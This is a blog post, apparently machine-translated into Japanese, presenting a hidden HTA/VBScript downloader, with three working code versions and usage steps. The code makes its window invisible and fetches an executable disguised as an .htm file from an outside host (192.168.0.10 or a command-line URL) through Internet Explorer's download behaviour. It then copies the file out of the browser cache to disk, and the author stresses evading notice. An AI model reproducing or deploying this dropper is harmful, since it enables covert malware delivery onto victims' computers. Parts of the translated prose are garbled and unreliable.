1. ホーム
  2. スクリプト・コラム
  3. メタ

難しいhtaのダウンローダーになる

2022-01-02 13:41:19
まず、このブログでは比較的新しいvbsダウンローダーとして、CDO.Messageコンポーネントで作られたものと、Microsoftで作られたものの2つを紹介しています。 https://www.jb51.net/article/15506.htm . この2つのダウンローダーのうち、1つは利用するのが面倒で、あらかじめexeを変換しておく必要がある。次に、cscript.exeを使用するとネットワークにアクセスすることになり、あまり隠密にはできない。もうひとつは、この2つのコンポーネントがなく、ADODB.Streamを利用するマシンもあるため、欠点がある。
つ目は、lake2 http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx のダウンローダーです。これは良いダウンローダーなのですが、問題があります。一つは、360などの他のブラウザがインストールされていると、ieのウィンドウが開いてしまい、レジストリから読み込んだieのキャッシュの位置が必ずしも正確でないことです。
3、では、これらの欠陥をどのようにアップデートするのでしょうか? まだ方法はあります。我々は、書き込みにhtaを使用して、これはあまり一般的ではありません。ネットワークへのhh.exeのアクセスは、一般的にリリースされると推定される。このダウンローダーを書くことによって解決される困難はいくつかあります。
(1). htaを見えなくする -------------" 簡単、ウィンドウを移動する
(2). htaにコマンドライン引数を受け取らせる --------------" このブログで公開されている情報
(3). 上記の1番目と2番目の大項目で述べたすべてのコンポーネントを呼び出さない -----------" これは、ieのデフォルトの動作を使用します。
(4). ieキャッシュの一時的な場所 --------- "環境変数を使用しています。
(5) コンポーネントを呼び出さない -------------------" 手動で呼び出す必要があります。
4つ目は、コード(htaに直接パラメータを書く)です。
コピーコード コードは以下の通りです。

<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 'Make hta invisible
set objshell= Createobject("WScript.Shell") 'hta is able to call WScript.Shell directly, however it cannot call wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" 'Get the downloaded path based on environment variables
set xml=document.createElement("xml")'Build the default behavior of the square xml element calling ie
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'Please rename the exe and put it on the space, if you upload it with ftp software, it may not work, it is better to put it directly
ShowAllFile(downpath)
Sub ShowAllFile(Path) 'Iterate through the lookup, directly using lake2's code
FindFileName="xx[1].htm" 'This is also what you need to change, if the top is xx.htm, here is xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, "c:\111.exe" 'Save to c:\111.exe, can be changed as needed
' document.write "[+]Download Success ! "
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>

使い方は、xx.exeのようにexeをスペースにリネームして、コマンドライン下かこのhtaをダブルクリックすれば完了です。
V. コードの別のコピー (コマンドライン引数を渡す)
個人的には4番目の部分のコードが良いと思うので、それを修正して使ってください。コマンドライン引数を呼び出すと、やはり小さなhtaウィンドウが表示され、ダウンロード後にのみ閉じられるので、これは良くないと思います。コードです。
コピーコード コードは以下の通りです。

<HTA:APPLICATION
ID="MySampleHTA"
Caption="yes">
<script language=vbs>
on error resume Next
window.moveTo 4000,4000
window.resizeTo 0,0 'Make hta invisible
cmdLineArray = Split(MySampleHTA.commandLine) 'This is turning the parameters in the command into an array
set objshell= Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" 'Get the downloaded path based on environment variables
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") 'Get the current filename from the command line
temp=split(temp,". ") 'Get the current file name from the command line based on . split
FindFileName=temp(0)&"[1]. "&temp(1)
LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe"
set xml=document.createElement("xml")
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load(cmdLineArray(UBound(cmdLineArray)))
ShowAllFile(downpath)
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
' document.write "[+]Download Success ! "
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub
Function LastOne(Str,splitStr)
'Enter characters and separator to get the last part
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr))
End Function
window.close
</script>

使い方:スペースでxx.exeをxx.htmにリネームし、コマンドラインで "c:\xx.hta http://www.target.com/xx.htm" とすると、xx.exeはcに保存されます。
VIです。コンポーネントを呼び出すことなく(ダウンロードした xx[1].htm を手動で見つける必要があります)。
コピーコード コードは以下の通りです。

window.moveTo 4000,4000
window.resizeTo 0,0 'Make hta invisible
set xml=document.createElement("xml")'Build square xml element to call ie's default behavior
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'
window.close

VII. デメリット
私のこのhtaダウンローダーは完璧ではありません。まず、ダウンロードされた一時変数がExpandEnvironmentStrings("%USERPROFILE%")を使っているため、ユーザー環境で利用でき、システム権限下であれば正しく動作しない可能性があります(推測で、テストはしていません)。次に、ダウンロード成功後にプロンプトが出ないので、コマンドラインで直接htaを表示させるのが面倒で、やってませんでした、へー。